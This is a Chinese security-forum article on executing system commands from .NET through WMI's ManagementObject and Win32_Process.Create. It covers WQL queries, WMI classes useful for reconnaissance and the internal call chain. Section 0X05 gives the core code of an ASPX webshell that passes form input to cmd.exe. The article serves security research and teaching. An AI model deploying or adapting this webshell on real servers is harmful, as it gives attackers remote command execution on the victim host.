问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
.NET执行系统命令(第3课)之 ManagementObject
漏洞分析
## 0X01 背景 ManagementObject用于创建WMI类的实例与WINDOWS系统进行交互,通过使用WMI我们可以获取服务器硬件信息、收集服务器性能数据、操作Windows服务,甚至可以远程关机或是重启服务器...
0X01 背景 ======= ManagementObject用于创建WMI类的实例与WINDOWS系统进行交互,通过使用WMI我们可以获取服务器硬件信息、收集服务器性能数据、操作Windows服务,甚至可以远程关机或是重启服务器。 WMI 的全称 Windows Management Instrumentation,即 Windows 管理规范,在 Windows 操作系统中,随着 WMI 技术的引入并在之后随着时间的推移而过时,它作为一项功能强大的技术,从 Windows NT 4.0 和 Windows 95 开始,始终保持其一致性。它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。 微软提供了丰富的 WMI 对象用来与操作系统相关的信息进行通信。例如:`Win32_Process,Win32_Service,AntiVirusProduct,Win32_StartupCommand`等等,所有的WMI对象都使用类似于一个 SQL 查询的语言称为 WMI 查询语言WQL, WQL 能够很好且细微的控制返回给用户的 WMI 对象。下图提供了微软实现 WMI 的一个高级别概述以及微软实现的组件和实现的标准之间的关系 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-19ad5573d2d72f7374d2a5dc8207e90989327ce3.png) 0X02 WMI查询 ========== | WMI 提供了一种简单的语法WQL用于查询 WMI 对象实例,有三种类别的 WQL 查询: | | | |---|---|---| | **名称** | **用途** | | 实例查询 | 用于查询 WMI 类的实例 | | 事件查询 | 用于一个 WMI 事件注册机制,例如 WMI 对象的创建、 删除或修改 | | 元查询 | 用于查询 WMI 类结构 | **实例查询**是最常见的用于获取 WMI 对象实例的 WQL 查询。基本的实例查询采用以下形式: \**`SELECT \[Class property name|*\] FROM \[CLASS NAME\] <WHERE \[CONSTRAINT\]>`\*\* 以下查询将返回所有正在运行的进程的可执行文件名称中包含"Chrome"的结果。具体的说是,此查询将返回 Win32\_Process 类的每个实例的所有属性的名称字段中包含字符串"Chrome"的结果。 \**`SELECT* FROM Win32\_Process WHERE Name LIKE "%chrome%"`\*\* **事件查询**提供了报警机制,触发事件的类。在 WMI 类实例被创建时被用于常用的事件查询触发器。事件查询将采取以下形式: \**`SELECT \[Class property name|*\] FROM \[INTRINSIC CLASS NAME\] WITHIN \[POLLING INTERVAL\] <WHERE \[CONSTRAINT\]>`\*\* \**`SELECT \[Class property name|*\] FROM \[EXTRINSIC CLASS NAME\] <WHERE \[CONSTRAINT\]>`\*\* 内部和外部的事件将在事件章节中进一步详细解释。 下面是交互式用户登录的事件查询触发器。根据[MSDN 文档描述](https://msdn.microsoft.com/en-us/library/aa394189(v=vs.85).aspx),交互式登录的LogonType值为 2。 \**`SELECT* FROM \_\_InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32\_LogonSession' AND TargetInstance.LogonType = 2`\*\* 下面是在可移动媒体插入时的事件查询触发器: \**`SELECT* FROM Win32\_VolumeChangeEvent WHERE EventType = 2`\*\* **元查询**提供一个 WMI 类架构发现和检查机制。元查询采用以下形式: \**`SELECT \[Class property name|*\] FROM \[Meta\_Class<WHERE \[CONSTRAINT\]>`\*\* 以下查询将列出所有以字符串 "Win32" 开头的 WMI 类: \**`SELECT* FROM Meta\_Class WHERE \_\_Class LIKE "Win32%"`\*\* 当执行任何 WMI 查询时,除非显式提供命名空间,否则将隐式使用默认的命名空间 ROOT\\CIMV2。 0X03 WMI基本用法 ============ WMI 类的命名空间的层次结构非常类似于传统的,面向对象的编程语言的命名空间。所有的命名空间都派生自根命名空间,在用脚本语言查询对象并未显式指定命名空间时,微软使用 ROOT\\CIMV2 作为默认的命名空间,Windows系统提供测试器 wbemtest.exe ,wbemtest.exe 是一个功能强大的带有图形界面的 WMI 诊断工具。它能够枚举对象实例、执行查询、注册事件、修改 WMI 对象和类,并且可以在本地或远程去调用方法。WQL: SELECT \* FROM Meta\_Class WHERE \_\_Class LIKE "Win32%" ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-4a7088aac9422774c1b0a83dd0c2ac5c7f15d0ef.png) 下面的 WMI 类是在攻击的侦察阶段可以收集数据的: - 主机/操作系统信息:Win32\_OperatingSystem, Win32\_ComputerSystem - 文件/目录列举: CIM\_DataFile - 磁盘卷列举: Win32\_Volume - 注册表操作: StdRegProv - 运行进程: Win32\_Process - 服务列举: Win32\_Service - 事件日志: Win32\_NtLogEvent - 登录账户: Win32\_LoggedOnUser - 共享: Win32\_Share - 已安装补丁: Win32\_QuickFixEngineering .NET下需引入程序集:Assembly Name="System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",命名空间:using System.Management,该命名空间提供对一组符合WMI基础结构的系统、设备和应用程序的管理信息和管理事件的访问。 | | | |---|---| | **名称** | **用途** | | ManagementScope | 连接WMI命名空间 | | ManagementBaseObject | 管理对象的基本元素 | | ManagementObject | 管理WMI实例 | | ManagementObjectCollection | 通过WMI检索到的管理对象的集合 | | ManagementObjectSearcher | 查询检索管理对象的集合 | ManagementObjectSearcher表示基于指定的查询检索管理对象的集合,笔者通过一段代码获取当前系统账户名,指定WMI的Key = Win32\_UserAccount ,遍历出包含的所有系统账户,如下代码 ```php private static string GetHardWareInfo(string item) { if (item == "" || item == null) { return null; } string hardinfo = null; string querystr = string.Format("select * from {0}", item); ManagementObjectSearcher objvide = new ManagementObjectSearcher(querystr); foreach (ManagementObject obj in objvide.Get()) { hardinfo += obj["Name"].ToString() + "\n"; } return hardinfo; } //Main方法中调用 string v = GetHardWareInfo("Win32_UserAccount"); Console.WriteLine(v); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-7fb8ab65e1a878d10456dd4ad77c4db4f1682f53.png) 常用的WMI类还有如下列表 | | | | |---|---|---| | **WMI类** | **释义** | **适用范围** | | Win32\_StartupCommand | 系统自动启动程序 | 操作系统 | | Win32\_Service | 系统安装的服务 | 操作系统 | | Win32\_Group | 系统管理组 | 操作系统 | | Win32\_GroupUser | 系统组帐号 | 操作系统 | | Win32\_UserAccount | 用户帐号 | 操作系统 | | Win32\_Process | 系统进程 | 操作系统 | | Win32\_Thread | 系统线程 | 操作系统 | | Win32\_Share | 共享 | 操作系统 | | Win32\_SystemDriver | 驱动程序 | 操作系统 | | Win32\_LogicalDisk | 逻辑磁盘 | 操作系统 | | Win32\_ComputerSystem | 计算机信息简要 | 操作系统 | | Win32\_OperatingSystem | 操作系统信息 | 操作系统 | | Win32\_PrintJob | 打印机任务 | 硬件 | | Win32\_BIOS | BIOS 芯片 | 硬件 | | Win32\_DiskDrive | 硬盘驱动器 | 硬件 | | Win32\_Keyboard | 键盘 | 硬件 | | Win32\_Processor | CPU 处理器 | 硬件 | 0X04 新进程创建的调用栈 ============== 攻击者进行横向运动时执行的一个常用方法是在 `Win32_Process` 类中的静态 `Create` 方法,此方法可以快速创建一个新的进程。Win32\_Process类里的Create方法有4个参数,CommandLine用于接受外部的指令,原型如下 ```php uint32 Create( [in] string CommandLine, [in] string CurrentDirectory, [in] Win32_ProcessStartup ProcessStartupInformation, [out] uint32 ProcessId ); ``` 在.NET平台下使用ManagementClass类的初始方法加载WMI Win32\_Process创建系统进程,通过Create方法启动新的进程,设置参数methodArgs数组的值为calc.exe,因为后面几个是可选参数,可省略成 object\[\] methodArgs = { "calc.exe" }; ```php ManagementClass processClass = new ManagementClass("Win32_Process"); object[] methodArgs = { "calc.exe", null, null, 0 }; object result = processClass.InvokeMethod("Create", methodArgs); ``` ```php public object InvokeMethod(string methodName, object[] args) { if (this.path == null || this.path.Path.Length == 0) throw new InvalidOperationException(); if (methodName == null) throw new ArgumentNullException(nameof (methodName)); this.Initialize(false); ManagementBaseObject inParameters; IWbemClassObjectFreeThreaded inParametersClass; IWbemClassObjectFreeThreaded outParametersClass; this.GetMethodParameters(methodName, out inParameters, out inParametersClass, out outParametersClass); ManagementObject.MapInParameters(args, inParameters, inParametersClass); ManagementBaseObject outParams = this.InvokeMethod(methodName, inParameters, (InvokeMethodOptions) null); return ManagementObject.MapOutParameters(args, outParams, outParametersClass); } ``` MangementObject类的InvokeMethod方法,调用GetMethodParameters方法内部使用完成对Create方法名的获取 ```php if (wbemClassObjectFreeThreaded != null) { result = new ManagementBaseObject(wbemClassObjectFreeThreaded); } ``` ManagementObject.MapInParameters(args, inParameters, inParametersClass),参数args带入ManagementBaseObject类的setProperyValue属性,设置propertyName="CommandLine"、propertyValue="calc.exe" ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-a9407b711b4f001a3ef4956e22fb9e8998cdb675.png) 再通过PropertyData类的Value属性把参数值calc.exe传递给MapValueToWmiValue方法,IWbemClassObjectFreeThreaded 线程类使用Put\_和Get\_方法将传递的ProperyValue属性 ,经过WmiNetUtilsHelper.Put\_f 方法转变为非托管类型数据的参数值 ```php public int Put_(string wszName, int lFlags, ref object pVal, int Type) { if (this.pWbemClassObject == IntPtr.Zero) throw new ObjectDisposedException(IWbemClassObjectFreeThreaded.name); int num = WmiNetUtilsHelper.Put_f(5, this.pWbemClassObject, wszName, lFlags, ref pVal, Type); GC.KeepAlive((object) this); return num; } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-3d137cf59b6e65f6a4419d29761662458d54178d.png) ManagementObject类又重载了另一个InvokeMethod方法,方法内调用了 GetSecuredIWbemServicesHandler类的ExecMethod\_方法,进入ExecMethod\_后才得知好家伙又套了一层 ExecMethod\_方法, ```php internal int ExecMethod_( string strObjectPath, string strMethodName, int lFlags, IWbemContext pCtx, IWbemClassObjectFreeThreaded pInParams, ref IWbemClassObjectFreeThreaded ppOutParams, IntPtr ppCallResult) { int num = -2147217407; if ((ValueType) ppCallResult != (ValueType) IntPtr.Zero) num = this.pWbemServiecsSecurityHelper.ExecMethod_(strObjectPath, strMethodName, lFlags, pCtx, (IntPtr) pInParams, out ppOutParams, ppCallResult); return num; } ``` 跟踪进入pWbemServiecsSecurityHelper.ExecMethod\_方法得知内部实现了一个用于交换托管类型的数据转换为非托管类型的等效数据,将参数传递给非托管函数自定义的组装器UnmanagedType.CustomMarshaler ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-56fe9d7a0aae56aa9465715f9b886da1b688031f.png) 组装器类型引用于 MarshalWbemObject类,而此类是继承于接口ICustomMarshaler,必须实现内部几个方法 ```php internal class MarshalWbemObject : ICustomMarshaler { private string cookie; public static ICustomMarshaler GetInstance(string cookie) => (ICustomMarshaler) new MarshalWbemObject(cookie); private MarshalWbemObject(string cookie) => this.cookie = cookie; public void CleanUpManagedData(object obj){} public void CleanUpNativeData(IntPtr pObj){} public int GetNativeDataSize() => -1; public IntPtr MarshalManagedToNative(object obj) => (IntPtr) obj; public object MarshalNativeToManaged(IntPtr pObj) => (object) new IWbemClassObjectFreeThreaded(pObj); } ``` 静态GetInstance方法要求CLR每个应用程序域只会调用一次GetInstance(),因此每个应用程序域最多加载一个自定义组装器,CLR 将调用静态 MarshalWbemObject.GetInstance() 方法以获取 MarshalWbemObject类的实例,接下来MarshalWbemObject.MarshalManagedToNative() 方法将托管的对象转换为非托管对象,而且这个非托管对象必须通过 IntPtr 返回指针调用,最后通过MarshalNativeToManaged方法将非托管对象转成托管对象交给IWbemClassObjectFreeThreaded类完成在两种不同的托管环境下的数据交互,如下图链路虚线表示间接被调用 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-92b719b910b2dd24d82cd5526a2f0cb7f6ecaf5e.png) 整体的调用链大致如下 ```php -> MangementObject.InvokeMethod -> GetMethodParameters -> MapInParameters -> ManagementBaseObject.setProperyValue -> MapValueToWmiValue -> ManagementObject.InvokeMethod -> GetSecuredIWbemServicesHandler.ExecMethod_ -> pWbemServiecsSecurityHelper.ExecMethod_ -> UnmanagedType.CustomMarshaler -> MarshalWbemObject.MarshalManagedToNative -> MarshalWbemObject.MarshalNativeToManaged ``` 0X05 编写WebShell =============== 为了增强程序的可操作性,笔者改用aspx页面编写风险检查智能助手,同时设计了主机进程、主机信息采集、主机目录文件访问等功能,核心代码和ManagementClassofInvokeMethodCheckSpy.aspx 页面用户体验界面如下 ```php <%@ Assembly Name="System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %> Server.ScriptTimeout = 775000; if (IsPostBack) { var content = Request.Form["content"]; if (!string.IsNullOrEmpty(content)) { string ExecCode = EncodeBase64("utf-8", content); ManagementClass processClass = new ManagementClass("\\root\\cimv2:Win32_Process"); object[] methodArgs = { "cmd.exe " + DecodeBase64("utf-8",ExecCode)}; object result = processClass.InvokeMethod("Create", methodArgs); } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-69c6fba67ea0a2f86bb928b2682debab6f85478c.png) 上述ManagementClass初始方法还可以指定WMI命名空间root\\cimv2的方式调用Create方法 ```php ManagementClass processClass = new ManagementClass("\\root\\cimv2:Win32_Process"); object[] methodArgs = { "calc.exe" }; object result = processClass.InvokeMethod("Create", methodArgs); ``` InvokeMethod还提供了两个带有ManagementOperationObserver类的重载方法,用于管理异步接收的管理信息和事件,在代码中直接实例化该对象 ```php ManagementClass processClass = new ManagementClass("\\root\\cimv2:Win32_Process"); object[] methodArgs = { "calc.exe" }; processClass.InvokeMethod(new ManagementOperationObserver(), "Create", methodArgs); ``` ManagementClass的GetMethodParameters方法 返回一个新进程的ManagementBaseObject类,传递参数给CommandLine 成功启动winver.exe ```php ManagementBaseObject inParams = processClass.GetMethodParameters("Create"); inParams["CommandLine"] = "winver.exe"; ManagementBaseObject outParams = processClass.InvokeMethod("Create", inParams, null); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-a7f8c368e9a1bca7cafd144dfd6faefffbdae95e.png)
发表于 2022-05-30 09:32:31
阅读 ( 5442 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Ivan1ee
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!